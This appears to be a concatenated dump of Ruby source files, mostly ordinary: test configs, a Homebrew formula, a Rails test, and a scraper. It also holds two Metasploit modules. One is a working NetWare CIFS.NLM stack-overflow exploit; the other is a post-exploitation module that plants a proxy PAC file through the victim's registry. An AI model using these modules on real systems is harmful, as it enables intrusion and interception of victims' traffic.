# to individual examples or groups you care about by tagging them with
# `:focus` metadata. When nothing is tagged with `:focus`, all examples
# get run.
config.alias_example_to :fit, :focus
config.filter_run :focus
config.run_all_when_everything_filtered = true
# Limits the available syntax to the non-monkey patched syntax that is recommended.
# For more details, see:
# - http://myronmars.to/n/dev-blog/2012/06/rspecs-new-expectation-syntax
# - http://teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# - http://myronmars.to/n/dev-blog/2014/05/notable-changes-in-rspec-3#new__config_option_to_disable_rspeccore_monkey_patching
config.disable_monkey_patching!
# Many RSpec users commonly either run the entire suite or an individual
# file, and it's useful to allow more verbose output when running an
# individual spec file.
if config.files_to_run.one?
# Use the documentation formatter for detailed output,
# unless a formatter has already been configured
# (e.g. via a command-line flag).
config.default_formatter = 'doc'
end
# Print the 10 slowest examples and example groups at the
# end of the spec run, to help surface which specs are running
# particularly slow.
config.profile_examples = 3
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = :random
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
# test failures related to randomization by passing the same `--seed` value
# as the one that triggered the failure.
Kernel.srand config.seed
end
| 47.951807 | 129 | 0.744724 |
33e5f25894128c760f1cbc2fd8de149c57579e23 | 805 | class Mint < Formula
desc "Dependency manager that installs and runs Swift command-line tool packages"
homepage "https://github.com/yonaskolb/Mint"
url "https://github.com/yonaskolb/Mint/archive/0.11.2.tar.gz"
sha256 "9090af8dfb6b0334e961bcd373950bf1a33fc54fad064723afd4774df8871504"
bottle do
cellar :any_skip_relocation
sha256 "aef9ebf4d33822af63de9f640914abb04ba5624ef209f664681a87b5b122ec7f" => :high_sierra
sha256 "84fbf229c3562f68a413630ab112bf8859f3cd171ccf78e3e4aaa1429141eab6" => :sierra
end
depends_on :xcode => ["9.2", :build]
def install
system "make", "install", "PREFIX=#{prefix}"
end
test do
# Test by showing the help scree
system "#{bin}/mint", "--help"
# Test showing list of installed tools
system "#{bin}/mint", "list"
end
end
| 30.961538 | 93 | 0.737888 |
6138a1d38399e85cc4921df51f462b7317ae9e8d | 1,126 | require 'test_helper'
class TestimonialsControllerTest < ActionDispatch::IntegrationTest
setup do
@testimonial = testimonials(:one)
end
test "should get index" do
get testimonials_url
assert_response :success
end
test "should get new" do
get new_testimonial_url
assert_response :success
end
test "should create testimonial" do
assert_difference('Testimonial.count') do
post testimonials_url, params: { testimonial: { } }
end
assert_redirected_to testimonial_url(Testimonial.last)
end
test "should show testimonial" do
get testimonial_url(@testimonial)
assert_response :success
end
test "should get edit" do
get edit_testimonial_url(@testimonial)
assert_response :success
end
test "should update testimonial" do
patch testimonial_url(@testimonial), params: { testimonial: { } }
assert_redirected_to testimonial_url(@testimonial)
end
test "should destroy testimonial" do
assert_difference('Testimonial.count', -1) do
delete testimonial_url(@testimonial)
end
assert_redirected_to testimonials_url
end
end
| 22.979592 | 70 | 0.735346 |
f7f516c38abc97d078d9cd7b5dc2ed17e3bd4abf | 336 | module Ckeditor::ApplicationHelper
def assets_pipeline_enabled?
if Gem::Version.new(::Rails.version.to_s) >= Gem::Version.new('4.0.0')
defined?(Sprockets::Rails)
elsif Gem::Version.new(::Rails.version.to_s) >= Gem::Version.new('3.0.0')
Rails.application.config.assets.enabled
else
false
end
end
end | 30.545455 | 77 | 0.678571 |
d5e491c2274eb2382db725bb89ad0e5ce8fb3483 | 2,559 | require "highline/import"
class QuotesController
def index_phil
if Quote.count > 0
quotes = Database.execute("SELECT name FROM quotes WHERE author_id==1")
choose do |menu|
menu.header = "Please pick which Dr. Phil inspirational you'd like to access.\n"
quotes.each do |dr_quotes|
quotes = dr_quotes['name']
menu.choice(quotes){ action_menu(quotes)}
end
menu.choice("Exit. Please let me out.") do
say("Have a good day.")
exit
end
end
else
say("there are no quotes found. Add a quote.\n")
end
end
def index_tiger
if Quote.count > 0
quotes = Database.execute("SELECT name FROM quotes WHERE author_id==2")
choose do |menu|
menu.header = "Please pick which Tiger Mom inspirational you'd like to access.\n"
quotes.each do |dr_quotes|
quotes = dr_quotes['name']
menu.choice(quotes){ action_menu(quotes)}
end
menu.choice("Exit. Please Let me out.") do
say("Have a good day.")
exit
end
end
else
say("there are no quotes found. Add a quote.\n")
end
end
def action_menu(quote)
say("Would you like to?")
choose do |menu|
menu.choice("Edit") do
edit(quote)
end
menu.choice("Delete") do
destroy(quote)
end
menu.choice("Exit") do
exit
end
end
end
def add_tiger
loop do
user_input = ask("Please type in your Tiger Mom quote.")
response = quotes_controller.add(user_input)
say(response) unless response.nil?
if /has\sbeen\sadded.$/.match(response)
break
end
end
end
def add_phil
loop do
user_input = ask("Please type in your Dr. Phil quote.")
response = quotes_controller.add(user_input)
say(response) unless response.nil?
if /has\sbeen\sadded.$/.match(response)
break
end
end
end
def add(name, author_id, quote_type_id )
name_cleaned = name.strip
quote = Quote.new(name_cleaned)
if quote.save
"\"#{quote}\" has been added.\n"
else
quote.errors
end
end
def edit(quote)
loop do
user_input = user_input.strip
if quote.save
say("Quote has been updated to: \"#{scenario.name}\"")
return
else
say(quote.errors)
end
end
end
def save
return false unless valid?
Database.execute()
end
end
| 23.694444 | 89 | 0.57796 |
610bd411f09f050fc258d5c3255e2200bd392d50 | 267 | class CreateOminousWarningClosers < ActiveRecord::Migration
def change
create_table :ominous_warning_closers do |t|
t.column :warning_id, :integer
t.column :closer_id, :integer
t.column :position, :integer
t.timestamps
end
end
end
| 24.272727 | 59 | 0.707865 |
e87245949f45a462a8e170c3f3e3ee626b0b8d12 | 4,142 | # frozen_string_literal: true
require "spec_helper"
require "dependabot/dependency"
require "dependabot/dependency_file"
require "dependabot/file_fetchers/java_script/npm_and_yarn/"\
"path_dependency_builder"
namespace = Dependabot::FileFetchers::JavaScript::NpmAndYarn
RSpec.describe namespace::PathDependencyBuilder do
let(:builder) do
described_class.new(
dependency_name: dependency_name,
path: path,
directory: directory,
package_lock: package_lock,
yarn_lock: yarn_lock
)
end
let(:dependency_name) { "etag" }
let(:path) { "./deps/etag" }
let(:directory) { "/" }
let(:package_lock) do
Dependabot::DependencyFile.new(
name: "package-lock.json",
content: fixture("javascript", "npm_lockfiles", npm_lock_fixture_name)
)
end
let(:yarn_lock) { nil }
let(:npm_lock_fixture_name) { "path_dependency.json" }
describe "#dependency_file" do
subject(:dependency_file) { builder.dependency_file }
context "with an npm lockfile" do
let(:package_lock) do
Dependabot::DependencyFile.new(
name: "package-lock.json",
content: fixture("javascript", "npm_lockfiles", npm_lock_fixture_name)
)
end
let(:npm_lock_fixture_name) { "path_dependency.json" }
context "for a path dependency with no sub-deps" do
let(:npm_lock_fixture_name) { "path_dependency.json" }
it "builds an imitation path dependency" do
expect(dependency_file).to be_a(Dependabot::DependencyFile)
expect(dependency_file.name).to eq("deps/etag/package.json")
expect(dependency_file.type).to eq("path_dependency")
expect(dependency_file.content).
to eq("{\"name\":\"etag\",\"version\":\"0.0.1\"}")
end
end
context "for a path dependency with sub-deps" do
let(:npm_lock_fixture_name) { "path_dependency_subdeps.json" }
let(:dependency_name) { "other_package" }
let(:path) { "other_package" }
it "builds an imitation path dependency" do
expect(dependency_file).to be_a(Dependabot::DependencyFile)
expect(dependency_file.name).to eq("other_package/package.json")
expect(dependency_file.type).to eq("path_dependency")
expect(dependency_file.content).
to eq({
name: "other_package",
version: "0.0.1",
dependencies: { lodash: "^1.3.1" }
}.to_json)
end
end
end
context "with a yarn lockfile" do
let(:package_lock) { nil }
let(:yarn_lock) do
Dependabot::DependencyFile.new(
name: "yarn.lock",
content:
fixture("javascript", "yarn_lockfiles", yarn_lock_fixture_name)
)
end
let(:yarn_lock_fixture_name) { "path_dependency.json" }
context "for a path dependency with no sub-deps" do
let(:yarn_lock_fixture_name) { "path_dependency.lock" }
it "builds an imitation path dependency" do
expect(dependency_file).to be_a(Dependabot::DependencyFile)
expect(dependency_file.name).to eq("deps/etag/package.json")
expect(dependency_file.type).to eq("path_dependency")
expect(dependency_file.content).
to eq("{\"name\":\"etag\",\"version\":\"0.0.1\"}")
end
end
context "for a path dependency with sub-deps" do
let(:yarn_lock_fixture_name) { "path_dependency_subdeps.lock" }
let(:dependency_name) { "other_package" }
let(:path) { "other_package" }
it "builds an imitation path dependency" do
expect(dependency_file).to be_a(Dependabot::DependencyFile)
expect(dependency_file.name).to eq("other_package/package.json")
expect(dependency_file.type).to eq("path_dependency")
expect(dependency_file.content).
to eq({
name: "other_package",
version: "0.0.1",
dependencies: { lodash: "^1.3.1" },
optionalDependencies: { etag: "^1.0.0" }
}.to_json)
end
end
end
end
end
| 34.231405 | 80 | 0.629889 |
abc380e477647db7e5345a7738d330fb7b521529 | 4,216 | # scraper.rb
# Extract and present data from the Seattle food truck website
# Parse JSON into some useful information
# Key Features
#
# Display food truck info in Bellevue:Barnes and Nobel
# Able to provide food truck info on current day
# Able to provide food truck info on a specific day as specified by a user
# Information of food truck should be easy to read
#
# Author: Jonathan Ho
#!/usr/bin/ruby
require 'open-uri'
require 'rubygems'
require 'json'
require 'pp'
require 'time'
require './restaurant.rb'
# GLOBAL VARIABLES
$IMAGE_HOST = 'https://s3-us-west-2.amazonaws.com/seattlefoodtruck-uploads-prod/'
$API_HOST = 'https://www.seattlefoodtruck.com/api'
# Returns Location ID from user input location
def getLocationID
puts "Enter a neighborhood name"
neighborhood = gets.downcase
url = $API_HOST + '/locations?include_events=true&include_trucks=true&only_with_events=true&with_active_trucks=true&neighborhood=' + neighborhood + '&with_events_on_day=' + Date.today.strftime("%Y-%m-%d") + 'T12%3A00%3A00-07%3A00'
json = open(url).read
objs = JSON.parse(json)
puts "\nList of food trucks in #{neighborhood}"
puts "Name \t\t ID"
objs["locations"].each do |item|
name = item["name"]
uid = item["uid"]
puts "#{name} \t #{uid}"
end
puts "Enter the ID of the desired food truck: "
locationID = gets
end
# Returns total number of pages using locationID
def getTotalPages(locationID)
url = $API_HOST + '/events?page=1&for_locations=' + locationID.to_s + '&with_active_trucks=true&include_bookings=true&with_booking_status=approved'
json = open(url).read
objs = JSON.parse(json)
totalpages = objs["pagination"]["total_pages"]
end
# print out all results using locationID
def getResults(locationID, total)
page = 1
bookings = Hash.new([])
begin
url = $API_HOST + '/events?page=' + page.to_s + '&for_locations=' + locationID.to_s + '&with_active_trucks=true&include_bookings=true&with_booking_status=approved'
json = open(url).read
objs = JSON.parse(json)
objs["events"].each do |obj|
time = Time.parse(obj["start_time"]).strftime("%Y-%m-%d")
#puts "\n"
#totalcount -= 1
list = Array.new
# parse restaurants in the booking
obj["bookings"].each do |item|
name = item["truck"]["name"]
arr = item["truck"]["food_categories"]
photo = $IMAGE_HOST + item["truck"]["featured_photo"].to_s
id = item["truck"]["id"]
r1 = Foodtruck.new(name, arr, photo, id)
list.push(r1)
end
bookings[time] = list
end
puts "Getting data ... #{page}/#{total}"
page += 1
#end while page <= 1
end while page <= total
return bookings
end
# print records
def printRecords(bookings)
bookings.each do |key, value|
puts "#{key}:#{value}"
puts "\n"
end
end
# returns food truck info on current day
def todaysMenu(bookings)
puts "#{bookings[Date.today.strftime("%Y-%m-%d")]}"
end
# returns food truck info on current day
def futureMenu(bookings, date)
if date < Date.today
return "Unable to return past entries"
else
return "#{bookings[date.strftime("%Y-%m-%d")]}"
end
end
def search(bookings, phrase)
bookings.each do |key, value|
#puts value[0]
#puts "inspect #{value}"
value.each do |item|
puts item.getName()
menu = item.getMenu()
menu.each do |dish|
#puts dish["name"]
#puts dish["description"]
end
puts "\n"
end
end
end
# main method
locationID = getLocationID()
#total = getTotalPages(locationID)
bookings = getResults(locationID, 1)
#printRecords(bookings)
search(bookings, "pasta")
#puts "todays menu"
#todaysMenu(bookings)
#puts "yesterday's menu"
#puts futureMenu(bookings, Date.today - 1)
#puts "tomorrow's menu"
#puts futureMenu(bookings, Date.today + 1)
# unit test
# totalcount should be zero
# page should total to totalpages
| 28.295302 | 234 | 0.628083 |
91652acc842bee1ed0a71d052a178cf02dcbf80f | 1,537 | class Api::V1::ProblemsController < ApiController
before_filter :authenticate
def new
@politician = Politician.find(params[:politician_id])
@problem = @politician.problems.new
@solution = @problem.solutions.new
end
def create
@politician = Politician.find(params[:politician_id])
@problem = @politician.problems.new(params[:problem])
@solution = @problem.solutions.new(params[:problem][:solution])
if @problem.save
@problem.update_attributes(user_id: current_user.id)
@solution.save!
@solution.update_attributes(
problem_id: @problem.id,
user_id: current_user.id
)
redirect_to api_v1_politician_problems_path(politician_id: @politician.id),
notice: "Your problem has been submitted to #{@politician.short_title} #{@politician.last_name}."
post_to_twitter(@problem, params) if params[:tweet].present?
else
render :action => "new"
end
end
def index
@politician = Politician.find(params[:politician_id])
@problems = @politician.problems.reverse
end
private
def post_to_twitter(problem, params)
message = ["I just offered a solution"]
problem.issue.present? ? message << " to #{problem.issue.name}. Check it out: " : message << ". Check it out: "
message << problem_url(problem)
message << " - cc @#{params[:tweet_pres]}" if params[:tweet_pres]
message << " - cc @#{params[:tweet_pol]}" if params[:tweet_pol]
Resque.enqueue(TwitterPoster, current_user.id, message.join(""))
end
end | 34.931818 | 115 | 0.685751 |
79dc8cfbda6dcd7a46f83f48751f42b982899d43 | 3,403 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
Since the driver runs in the kernel space, a failed exploit attempt can
cause the OS to reboot.
},
'Author' =>
[
'toto',
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-2852' ],
[ 'OSVDB', '12790' ]
],
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
},
'Platform' => 'netware',
'Targets' =>
[
# NetWare SP can be found in the SNMP version :
# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)
[ 'VMware', { 'Ret' => 0x000f142b } ],
[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
],
'DisclosureDate' => 'Jan 21 2007'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc'])
], self.class)
end
def exploit
# Force multi-bind off (netware doesn't support it)
datastore['DCERPC::fake_bind_multi'] = false
connect()
smb_login()
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
stb =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0x000f0fff)
resp = dcerpc.call(0x2c, stb)
handle, = resp[0,20]
code, = resp[20, 4].unpack('V')
name =
rand_text_alphanumeric(0xa0) +
[target.ret].pack('V') +
payload.encoded
stb =
handle +
NDR.long(1) +
NDR.long(1) +
NDR.short(name.length) +
NDR.short(name.length) +
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingStringPreBuilt(name) +
NDR.long(0) +
NDR.long(0) +
NDR.long(1) +
NDR.long(0)
print_status("Calling the vulnerable function ...")
begin
dcerpc.call(0x0E, stb)
rescue
end
# Cleanup
handler
disconnect
end
end
| 26.585938 | 116 | 0.542463 |
21bced57ef8d65e19b288532394b71f1b1d6dd36 | 5,855 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Proxy PAC File',
'Description' => %q{
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
option, a PAC file will be created on the victim host. It's also possible to provide a
remote PAC file (REMOTE_PAC option) by providing the full URL.
},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'References' =>
[
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
], self.class)
end
def run
if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
print_error("You must set a remote or local PAC file. Aborting...")
return
end
if datastore['REMOTE_PAC']
@remote = true
print_status("Setting automatic configuration script from a remote PAC file ...")
res = enable_proxypac(datastore['REMOTE_PAC'])
unless res
print_error("Error while setting an automatic configuration script. Aborting...")
return
end
else
@remote = false
print_status("Setting automatic configuration script from local PAC file ...")
pac_file = create_pac(datastore['LOCAL_PAC'])
unless pac_file
print_error("There were problems creating the PAC proxy file. Aborting...")
return
end
res = enable_proxypac(pac_file)
unless res
print_error("Error while setting an automatic configuration script. Aborting...")
return
end
end
print_good("Automatic configuration script configured...")
if datastore['AUTO_DETECT']
print_status("Enabling Automatically Detect Settings...")
unless auto_detect_on
print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
end
end
if datastore['DISABLE_PROXY']
print_status("Disabling the Proxy Server...")
unless disable_proxy
print_error("Failed to disable Proxy Server. Proceeding anyway...")
end
end
end
def create_pac(local_pac)
pac_file = session.sys.config.getenv("APPDATA") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
conf_pac = ""
if ::File.exists?(local_pac)
conf_pac << ::File.open(local_pac, "rb").read
else
print_error("Local PAC file not found.")
return false
end
if write_file(pac_file,conf_pac)
print_status("PAC proxy configuration file written to #{pac_file}")
return pac_file
else
return false
end
end
def enable_proxypac(pac)
proxy_pac_enabled = false
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
value_auto = "AutoConfigURL"
file = (@remote) ? "#{pac}" : "file://#{pac}"
begin
res = registry_setvaldata(key,value_auto,file,"REG_SZ")
rescue ::RuntimeError, Rex::TimeoutError
next
end
if res.nil? # Rex::Post::Meterpreter::RequestError
next
end
if change_connection(16,'05',key + '\\Connections')
proxy_pac_enabled = true
end
end
if proxy_pac_enabled
return true
else
return false
end
end
def auto_detect_on
auto_detect_enabled = false
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
if change_connection(16,'0D',key)
print_good ("Automatically Detect Settings on.")
auto_detect_enabled = true
end
end
if auto_detect_enabled
return true
else
return false
end
end
def disable_proxy
value_enable = "ProxyEnable"
profile = false
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
begin
registry_setvaldata(key,value_enable,0,"REG_DWORD")
profile = true
rescue ::RuntimeError, Rex::TimeoutError
next
end
end
if profile
print_good("Proxy disabled.")
return true
else
return false
end
end
def change_connection(offset, value, key)
value_default = "DefaultConnectionSettings"
begin
value_con = registry_getvaldata(key, value_default)
binary_data = value_con.unpack('H*')[0]
binary_data[offset,2] = value
registry_setvaldata(key, value_default, ["%x" % binary_data.to_i(16)].pack("H*"), "REG_BINARY")
rescue ::RuntimeError, Rex::TimeoutError
return false
end
return true
end
end
| 29.129353 | 111 | 0.635867 |
5d8df7a3e3282e2b09fc6022bb2381952244ad75 | 3,929 | require "spec_helper"
require "govuk_app_config/govuk_healthcheck"
RSpec.describe GovukHealthcheck::Checkup do
let(:test_healthcheck) do
Class.new do
def name
"#{status}_check".to_sym
end
def status
:unknown
end
end
end
let(:ok_check) do
Class.new(test_healthcheck) do
def status
:ok
end
end
end
let(:ok_check_with_message) do
Class.new(ok_check) do
def message
"This is a custom message"
end
end
end
let(:ok_check_with_details) do
Class.new(ok_check) do
def details
{
extra: "This is an extra detail",
}
end
end
end
let(:warning_check) do
Class.new(test_healthcheck) do
def status
:warning
end
end
end
let(:critical_check) do
Class.new(test_healthcheck) do
def status
:critical
end
end
end
let(:disabled_critical_check) do
Class.new(critical_check) do
def enabled?
false
end
end
end
let(:exception_check) do
Class.new do
def name
:exception_check
end
def status
raise "something bad happened"
end
end
end
it "sets the overall status to the worse component status" do
expect(described_class.new([ok_check]).run[:status]).to eq(GovukHealthcheck::OK)
expect(described_class.new([ok_check, critical_check]).run[:status]).to eq(GovukHealthcheck::CRITICAL)
expect(described_class.new([warning_check, critical_check]).run[:status]).to eq(GovukHealthcheck::CRITICAL)
expect(described_class.new([warning_check, ok_check]).run[:status]).to eq(GovukHealthcheck::WARNING)
end
it "ignores disabled checks" do
expect(described_class.new([ok_check, disabled_critical_check]).run[:status]).to eq(GovukHealthcheck::OK)
end
it "sets the status as critical for health checks which error" do
response = described_class.new([exception_check]).run
expect(response[:status]).to eq(GovukHealthcheck::CRITICAL)
expect(response.dig(:checks, :exception_check, :message)).to eq("something bad happened")
end
it "sets the specific status of component checks" do
response = described_class.new([critical_check, warning_check, ok_check]).run
expect(response.dig(:checks, :ok_check, :status)).to eq(GovukHealthcheck::OK)
end
it "includes all statuses in the response" do
response = described_class.new([critical_check, warning_check, ok_check]).run
expect(response[:checks]).to have_key(:ok_check)
expect(response[:checks]).to have_key(:warning_check)
expect(response[:checks]).to have_key(:critical_check)
end
it "puts the details at the top level of each check" do
response = described_class.new([ok_check_with_details]).run
expect(response.dig(:checks, :ok_check, :extra)).to eq("This is an extra detail")
end
it "adds the message to the check's top level if it supplies one" do
response = described_class.new([ok_check_with_message]).run
expect(response.dig(:checks, :ok_check, :message)).to eq("This is a custom message")
end
it "leaves out the message key if the check doesn't supply one" do
response = described_class.new([ok_check]).run
expect(response.dig(:checks, :ok_check)).not_to have_key(:message)
end
it "sets the message of disabled checks" do
response = described_class.new([disabled_critical_check]).run
expect(response.dig(:checks, :critical_check, :message)).to eq("currently disabled")
end
it "sets the status of disabled checks to ok" do
response = described_class.new([disabled_critical_check]).run
expect(response.dig(:checks, :critical_check, :status)).to eq(:ok)
end
it "accepts objects (can be initialized)" do
response = described_class.new([test_healthcheck.new]).run
expect(response.dig(:checks, :unknown_check, :status)).to eq(:unknown)
end
end
| 28.266187 | 111 | 0.69127 |
d5809641064ae71e078205da1c7697208585b99a | 462 | cask "geph" do
version "4.4.4"
sha256 "5381ad57c9bed2a6c238eeaf28f9c345eb1a0cacadd6ff59566032502d20fb99"
url "https://f001.backblazeb2.com/file/geph4-dl/Geph4Releases/#{version}/geph-macos-#{version}.dmg",
verified: "f001.backblazeb2.com/file/geph4-dl/"
name "Geph"
desc "Modular Internet censorship circumvention system"
homepage "https://geph.io/"
livecheck do
url "https://github.com/geph-official/geph4"
end
app "Geph.app"
end
| 27.176471 | 102 | 0.733766 |
acded2a39a9ef0f70360cc20497a6a90181f7509 | 1,847 | class Task < Formula
desc "Feature-rich console based todo list manager"
homepage "https://taskwarrior.org/"
url "https://github.com/GothenburgBitFactory/taskwarrior/releases/download/v2.6.2/task-2.6.2.tar.gz"
sha256 "b1d3a7f000cd0fd60640670064e0e001613c9e1cb2242b9b3a9066c78862cfec"
license "MIT"
head "https://github.com/GothenburgBitFactory/taskwarrior.git", branch: "develop"
livecheck do
url :stable
regex(/^v?(\d+(?:\.\d+)+)$/i)
end
bottle do
sha256 arm64_monterey: "a1a3c706322405709ad4d89005abf423ae6252255b1f25857c68112d98f0cfc8"
sha256 arm64_big_sur: "4bfece330fa1a6951f49ce2539eee0a44cee4ac71e5f2d52f52cc98300cf4f6c"
sha256 monterey: "08ad2ecfcdb93b578bbc296c874c139225bd7a09b0130432232830a5cb6a916d"
sha256 big_sur: "5d7f4c9ab31bd5f2daa9b90e46c01fc75fa75c5dd59f53d71c470ca3453b4d18"
sha256 catalina: "d387254a93560ad965cf29753847fc830057f655361ba9f0b9e31c53843b3768"
sha256 cellar: :any_skip_relocation, x86_64_linux: "e01eea1f420752a719c38be2e618506fa22b9c7b83d23ef7606d9e2c87f48257"
end
depends_on "cmake" => :build
depends_on "gnutls"
on_linux do
depends_on "gcc"
depends_on "[email protected]"
depends_on "readline"
depends_on "util-linux"
end
fails_with gcc: "5"
def install
system "cmake", ".", *std_cmake_args
system "make", "install"
bash_completion.install "scripts/bash/task.sh"
zsh_completion.install "scripts/zsh/_task"
fish_completion.install "scripts/fish/task.fish"
end
test do
touch testpath/".taskrc"
system "#{bin}/task", "add", "Write", "a", "test"
assert_match "Write a test", shell_output("#{bin}/task list")
end
end
| 37.693878 | 123 | 0.687602 |
1c6c145ed9b548cad5b2a06690ee2df08e405da9 | 2,148 | class Postgrest < Formula
desc "Serves a fully RESTful API from any existing PostgreSQL database"
homepage "https://github.com/PostgREST/postgrest"
url "https://github.com/PostgREST/postgrest/archive/v7.0.1.tar.gz"
sha256 "12f621065b17934c474c85f91ad7b276bff46f684a5f49795b10b39eaacfdcaa"
license "MIT"
head "https://github.com/PostgREST/postgrest.git"
bottle do
cellar :any
sha256 "bb885e5c86b0e997b660b0ab3975d59c458f0db4436bce9ea158b89c65dcd6e2" => :big_sur
sha256 "691546e89701fd582d47c697dc27551ef3284ee21933a5912f406e6fee4dd272" => :catalina
sha256 "34c0413e71a41bc8550b7ea5286e0330aa888990d2e2a8fe6d81b57152c83d61" => :mojave
sha256 "6ca3bb9cd14c9ab4ddd028493e4ffd70ddae571be74723997b677c6c67542c87" => :high_sierra
end
depends_on "cabal-install" => :build
depends_on "[email protected]" => :build
depends_on "postgresql"
def install
system "cabal", "v2-update"
system "cabal", "v2-install", *std_cabal_v2_args
end
test do
return if ENV["CI"]
pg_bin = Formula["postgresql"].bin
pg_port = free_port
pg_user = "postgrest_test_user"
test_db = "test_postgrest_formula"
system "#{pg_bin}/initdb", "-D", testpath/test_db,
"--auth=trust", "--username=#{pg_user}"
system "#{pg_bin}/pg_ctl", "-D", testpath/test_db, "-l",
testpath/"#{test_db}.log", "-w", "-o", %Q("-p #{pg_port}"), "start"
begin
port = free_port
system "#{pg_bin}/createdb", "-w", "-p", pg_port, "-U", pg_user, test_db
(testpath/"postgrest.config").write <<~EOS
db-uri = "postgres://#{pg_user}@localhost:#{pg_port}/#{test_db}"
db-schema = "public"
db-anon-role = "#{pg_user}"
server-port = #{port}
EOS
pid = fork do
exec "#{bin}/postgrest", "postgrest.config"
end
sleep 5 # Wait for the server to start
output = shell_output("curl -s http://localhost:#{port}")
assert_match "200", output
ensure
begin
Process.kill("TERM", pid) if pid
ensure
system "#{pg_bin}/pg_ctl", "-D", testpath/test_db, "stop",
"-s", "-m", "fast"
end
end
end
end
| 32.545455 | 93 | 0.658287 |
21e9e735cc5eb61c2b6bb77f3f8994f33b3877d8 | 596 | require 'spec_helper'
describe Organization do
it 'can be converted to full tree hash with all recursive children' do
FactoryGirl.create(:kirjasto)
tree = Organization.root.tree_hash[:children]
tree.count.should > 0
str_dump = tree.to_s
str_dump.should include('Kirjasto')
end
it 'provides an error on duplicate key' do
h = FactoryGirl.create(:helsinki_uni)
o = Organization.new key: h.key
o.should have(1).errors_on(:key)
end
it 'provides an error with blank key' do
o = Organization.new key: ''
o.should have(1).errors_on(:key)
end
end
| 22.923077 | 72 | 0.696309 |
3357f60dc3730e507e289872506c241559ee3bbe | 4,490 | # encoding: utf-8
module Mail
class Ruby19
# Escapes any parenthesis in a string that are unescaped this uses
# a Ruby 1.9.1 regexp feature of negative look behind
def Ruby19.escape_paren( str )
re = /(?<!\\)([\(\)])/ # Only match unescaped parens
str.gsub(re) { |s| '\\' + s }
end
def Ruby19.paren( str )
str = $1 if str =~ /^\((.*)?\)$/
str = escape_paren( str )
'(' + str + ')'
end
def Ruby19.escape_bracket( str )
re = /(?<!\\)([\<\>])/ # Only match unescaped brackets
str.gsub(re) { |s| '\\' + s }
end
def Ruby19.bracket( str )
str = $1 if str =~ /^\<(.*)?\>$/
str = escape_bracket( str )
'<' + str + '>'
end
def Ruby19.decode_base64(str)
str.unpack( 'm' ).first
end
def Ruby19.encode_base64(str)
[str].pack( 'm' )
end
def Ruby19.has_constant?(klass, string)
klass.const_defined?( string, false )
end
def Ruby19.get_constant(klass, string)
klass.const_get( string )
end
def Ruby19.b_value_encode(str, encoding = nil)
encoding = str.encoding.to_s
